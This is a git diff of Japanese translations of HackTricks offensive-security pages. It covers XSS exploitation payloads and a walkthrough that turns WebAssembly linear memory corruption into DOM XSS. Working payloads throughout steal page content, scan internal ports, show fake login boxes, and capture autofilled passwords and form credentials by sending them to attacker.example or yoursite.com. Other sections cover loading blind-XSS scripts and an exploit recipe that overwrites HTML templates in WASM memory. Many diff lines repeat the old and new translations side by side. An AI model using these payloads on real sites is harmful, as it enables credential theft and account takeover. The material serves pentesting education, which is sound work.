### ページのコンテンツを盗む ### ページのコンテンツを盗む
```javascript ```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
@ -1327,7 +1336,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open("GET", url, true) xhr.open("GET", url, true)
xhr.send(null) xhr.send(null)
``` ```
### 内部IPsを見つける ### 内部IPを見つける
```html ```html
<script> <script>
var q = [] var q = []
@ -1403,15 +1412,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
}; };
} }
``` ```
_短い時間は応答のあるポートを示します_ _長い時間は応答がないことを示します._ _短い時間はポートが応答していることを示します_ _長い時間は応答がないことを示します._
Chromeでブロックされているポートの一覧は[**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)、Firefoxの一覧は[**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)を確認してください。 Chromeで禁止されているポートのリストは[**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)を、Firefoxでは[**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)を確認してください。
### 認証情報を要求するボックス ### 認証情報を要求するボックス
```html ```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script> <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
``` ```
### オートフィルされたパスワードの取得 ### Auto-fill passwords capture
```javascript ```javascript
<b>Username:</><br> <b>Username:</><br>
<input name=username id=username> <input name=username id=username>
@ -1422,11 +1431,11 @@ mode: 'no-cors',
body:username.value+':'+this.value body:username.value+':'+this.value
});"> });">
``` ```
パスワードフィールドに何らかのデータが入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存済みのパスワードを選択して何も入力しなくても、credentials ex-filtrated されます。 passwordフィールドに何らかのデータが入力されると、usernameとpasswordが攻撃者のサーバーに送信されます。クライアントが保存されたpasswordを選択して何も入力しなくても、credentialsはex-filtratedされます。
### フォームハンドラを乗っ取って credentials を exfiltrate する (const shadowing) ### Hijack form handlers to exfiltrate credentials (const shadowing)
もし重要なハンドラ(例: `function DoLogin(){...}`がページ内で後から宣言され、あなたのペイロードがより早く実行される場合inline JS-in-JS sink 経由)、同名の `const` を先に定義してハンドラを先取り・ロックしてください。後からの function 宣言は `const` 名を再束縛できないため、あなたのフックが制御を保持します: もし重要なhandler例: `function DoLogin(){...}`がページ内で後で宣言され、あなたのpayloadがそれより先に実行される場合例: inline JS-in-JS sinkを介して、同じ名前の`const`を先に定義してhandlerの先取りとロックを行ってください。後からのfunction宣言は`const`名を再バインドできないため、あなたのフックが制御を保持します:
```javascript ```javascript
const DoLogin = () => { const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value); const pwd = Trim(FormInput.InputPassword.value);
@ -1434,19 +1443,19 @@ const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
}; };
``` ```
注意 注意事項
- これは実行順序に依存します: あなたのインジェクションは正規の宣言より先に実行されなければなりません - これは実行順序に依存します: あなたの injection は正規の宣言より先に実行される必要があります
- もしペイロードが`eval(...)`でラップされている場合、`const/let`のバインディングはグローバルになりません。真にグローバルで再バインド不可のバインディングを確保するために、セクション “Deliverable payloads with eval(atob()) and scope nuances” にある動的な`<script>`インジェクション技法を使用してください。 - もしあなたの payload が `eval(...)` でラップされていると、`const/let` バインディングは globals にはなりません。真の global で non-rebindable な binding を保証するために、セクション “Deliverable payloads with eval(atob()) and scope nuances” の動的 `<script>` injection technique を使用してください。
- キーワードフィルタがコードをブロックする場合は、上で示したように Unicode エスケープされた識別子や `eval(atob('...'))` を使った配信と組み合わせてください。 - キーワードフィルタがコードをブロックする場合は、Unicode エスケープされた識別子や `eval(atob('...'))` 配信と組み合わせて使用してください(上記参照)
### Keylogger ### Keylogger
github検索しただけで、いくつか見つかりました: github検索しただけで、いくつか見つかりました:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- また metasploit の `http_javascript_keylogger` を使用することもできます - また metasploit の `http_javascript_keylogger` を使用できます
### Stealing CSRF tokens ### Stealing CSRF tokens
```javascript ```javascript
@ -1494,7 +1503,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
### Blind XSS payloads ### Blind XSS payloads
また、次も利用できます: [https://xsshunter.com/](https://xsshunter.com) また使用できます: [https://xsshunter.com/](https://xsshunter.com)
```html ```html
"><img src='//domain/xss'> "><img src='//domain/xss'>
"><script src="//domain/xss.js"></script> "><script src="//domain/xss.js"></script>
@ -1559,9 +1568,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
<!-- In case your target makes use of AngularJS --> <!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}} {{constructor.constructor("import('{SERVER}/script.js')")()}}
``` ```
### Regex - Access Hidden Content ### Regex - 隠されたコンテンツにアクセス
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、JS 上でいくつかの値が消えても、別のオブジェクトの JS 属性内でそれらを見つけられることがわかります。たとえば、REGEX の input は、その値が削除された後でも見つけることができます: From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、いくつかの値が JS から消えても、別のオブジェクトの JS 属性内でそれらを見つけられることが分かります。例えば、REGEX の input は、REGEX の input の値が削除された後でも見つけられることがあります:
```javascript ```javascript
// Do regex with flag // Do regex with flag
flag = "CTF{FLAG}" flag = "CTF{FLAG}"
@ -1589,50 +1598,50 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
### XSS in Markdown ### XSS in Markdown
レンダリングされるMarkdownコードを注入できますか もしかするとXSSを引き起こせるかもしれません 確認 Markdown コードを注入してレンダリングさせられますか?もしかすると XSS を引き起こせるかもしれません!確認してください
{{#ref}} {{#ref}}
xss-in-markdown.md xss-in-markdown.md
{{#endref}} {{#endref}}
### XSS to SSRF ### XSS を SSRF に
**キャッシュを使用しているサイト**でXSSを見つけましたか Edge Side Include Injectionを使って、以下のpayloadで**それをSSRFにアップグレード**してみてください: キャッシュを使用する**サイトで XSS を得ましたか**Edge Side Include Injection を使ってそれを **SSRF にアップグレード**してみてください。payload は次のとおり
```python ```python
<esi:include src="http://yoursite.com/capture" /> <esi:include src="http://yoursite.com/capture" />
``` ```
これを使って cookie 制限、XSS フィルタなどを回避できます!\ cookieの制限、XSSフィルタなどを回避するために使用できます!\
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). この技術の詳細はこちら: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### 動的に作成された PDF における XSS ### XSS in dynamic created PDF
もしウェブページがユーザ制御の入力を使って PDF を生成している場合、PDF を作成している **trick the bot****executing arbitrary JS code** させるよう試みることができます。\ Webページがユーザ制御の入力でPDFを生成している場合、PDFを生成している**botを騙して**任意の**JSコードを実行させる**ことを試みることができます。\
つまり、もし **PDF creator bot finds** が何らかの **HTML** **tags** を見つけると、それらを **interpret** し、その振る舞いを **abuse** して **Server XSS** を引き起こすことができます。 つまり、**PDF creator botが何らかの**HTML**タグを検出すると、それらを**解釈**し、この挙動を**悪用**して**Server XSS**を引き起こすことができます。
{{#ref}} {{#ref}}
server-side-xss-dynamic-pdf.md server-side-xss-dynamic-pdf.md
{{#endref}} {{#endref}}
もし HTML tags を注入できない場合は、**inject PDF data** を試す価値があるかもしれません HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試してみる価値があります
{{#ref}} {{#ref}}
pdf-injection.md pdf-injection.md
{{#endref}} {{#endref}}
### Amp4Email における XSS ### XSS in Amp4Email
AMP はモバイルデバイスでのウェブページの表示速度を向上させることを目的としており、機能性を JavaScript で補強した HTML タグを取り入れ、速度とセキュリティを重視しています。さまざまな機能のためのコンポーネントをサポートしており、[AMP components](https://amp.dev/documentation/components/?format=websites) から参照できます。 AMPは、モバイル端末でのウェブページ表示の高速化を目的としており、速度とセキュリティを重視した形でJavaScriptで補助されたHTMLタグを取り入れています。さまざまな機能を提供するコンポーネントをサポートしており、[AMP components](https://amp.dev/documentation/components/?format=websites)で確認できます。
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) フォーマットは特定の AMP コンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。 [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)形式は特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS — ファイルアップロード (svg) ### XSS uploading files (svg)
Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): 次のようなファイルを画像としてアップロードしてください(出典: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)
```html ```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574 Content-Length: 574
@ -1688,9 +1697,10 @@ id="foo"/>
```xml ```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" /> <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
``` ```
次のリンクで**より多くの SVG payloads を見つけてください** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 以下で**より多くのSVGペイロードを見つけてください**: [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## その他のJSトリックと関連情報
## その他の JS トリックと関連情報
{{#ref}} {{#ref}}
other-js-tricks.md other-js-tricks.md

View File

@ -0,0 +1,133 @@
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
{{#include ../../banners/hacktricks-training.md}}
このテクニックは、Emscripten でコンパイルされた WebAssembly (WASM) モジュール内部のメモリ破損バグを、入力がサニタイズされている場合でも信頼性のある DOM XSS に悪用する方法を示す。ピボットはサニタイズされたソース文字列を攻撃するのではなく、WASM linear memory 内の書き込み可能な定数HTML フォーマットテンプレート)を破損させることにある。
主要なアイデアWebAssembly モデルでは、コードは書き込み不可の実行ページに置かれるが、モジュールのデータheap/stack/globals/"constants")はモジュールによって書き込み可能な単一のフラットな linear memory64KB ページ)に存在する。もしバグのある C/C++ コードが範囲外に書き込めば、隣接するオブジェクトや linear memory に埋め込まれた定数文字列さえ上書きできる。こうした定数が後で DOM sink を通じて挿入するための HTML を構築する際に使われると、サニタイズされた入力を実行可能な JavaScript に変えることができる。
# 脅威モデルと前提条件
- Web アプリが Emscripten glue (Module.cwrap) を使って WASM モジュールを呼び出している。
- アプリケーション状態が WASM linear memory に存在する(例:ユーザバッファへのポインタ/長さを持つ C struct
- 入力の sanitizer が格納前にメタ文字をエンコードするが、後でレンダリング時に WASM linear memory に格納されたフォーマット文字列を使って HTML を構築する。
- linear-memory corruption のプリミティブが存在するheap overflow、UAF、または unchecked memcpy
# 最小の脆弱データモデル(例)
```c
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
```
脆弱なロジックパターン
- addMsg(): サニタイズ済みの入力サイズで新しいバッファを割り当て、s.mess に msg を追加する。必要に応じて realloc で容量を2倍にする。
- editMsg(): 再度サニタイズを行い、新しいバイト列を既存バッファに memcpy するが、新しい長さが古い割り当て以下であることを保証しない → linear memory 内のヒープオーバーフロー。
- populateMsgHTML(): サニタイズ済みテキストを linear memory 上にある "<article><p>%.*s</p></article>" のようなテンプレートで整形する。返された HTML は DOM sink例: innerHTMLに渡される。
realloc() を使ったアロケータのグルーミング
```c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
```
- 初期容量を超えるまで十分な数のメッセージを送る。容量が拡張された後、realloc() はしばしば s->mess を linear memory の最後のユーザバッファの直後に配置する。
- editMsg() を使って最後のメッセージをオーバーフローさせ、s->mess 内のフィールドを破壊する(例: overwrite msg_data pointers → 後でレンダリングされるデータに対する linear memory 内の任意のポインタ書き換え。
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization は入力を保護するものであって sinks を保護するものではない。populateMsgHTML() で使われる format stub を見つける、例:
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
- linear memory を走査して stub を決定論的に特定する; それは Module.HEAPU8 内のプレーンなバイト列である。
- stub を上書きした後、sanitized message content は onerror の JavaScript ハンドラとなるため、alert(1337) のようなテキストを持つ新しいメッセージを追加すると <img src=1 onerror=alert(1337)> となり DOM 内で即座に実行される。
Chrome DevTools workflow (Emscripten glue)
- JS glue 内の最初の Module.cwrap 呼び出しでブレークし、wasm の呼び出し元にステップインしてポインタ引数linear memory への数値オフセット)をキャプチャする。
- Module.HEAPU8 のような typed views を使ってコンソールから WASM メモリを読み書きする。
- Helper snippets:
```javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
```
End-to-end exploitation recipe
1) Groom: N 個の小さなメッセージを追加して realloc() をトリガーします。s->mess が user buffer に隣接するようにします。
2) Overflow: 最後のメッセージに対して editMsg() を呼び、長いペイロードで s->mess 内のエントリを上書きして、message 0 の msg_data を (stub_addr + 1) を指すように設定します。+1 は次の編集時にタグのアラインメントを保つために先頭の '<' をスキップします。
3) Template rewrite: message 0 を編集して、そのバイトがテンプレートを次のように上書きするようにします: "img src=1 onerror=%.*s ".
4) Trigger XSS: sanitized な内容が JavaScript になるような新しいメッセージを追加します(例: alert(1337))。レンダリングは <img src=1 onerror=alert(1337)> を出力して実行されます。
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
```json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
```
Why this bypass works
- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
- The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM.
- realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory.
Generalization and other attack surface
- Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream.
- Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches.
Defensive guidance
- In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity.
- Keep immutable templates out-of writable linear memory or integrity-check them before use.
- Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth.
- Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating.
- Avoid trusting URL-embedded state for privileged flows.
## References
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
{{#include ../../banners/hacktricks-training.md}}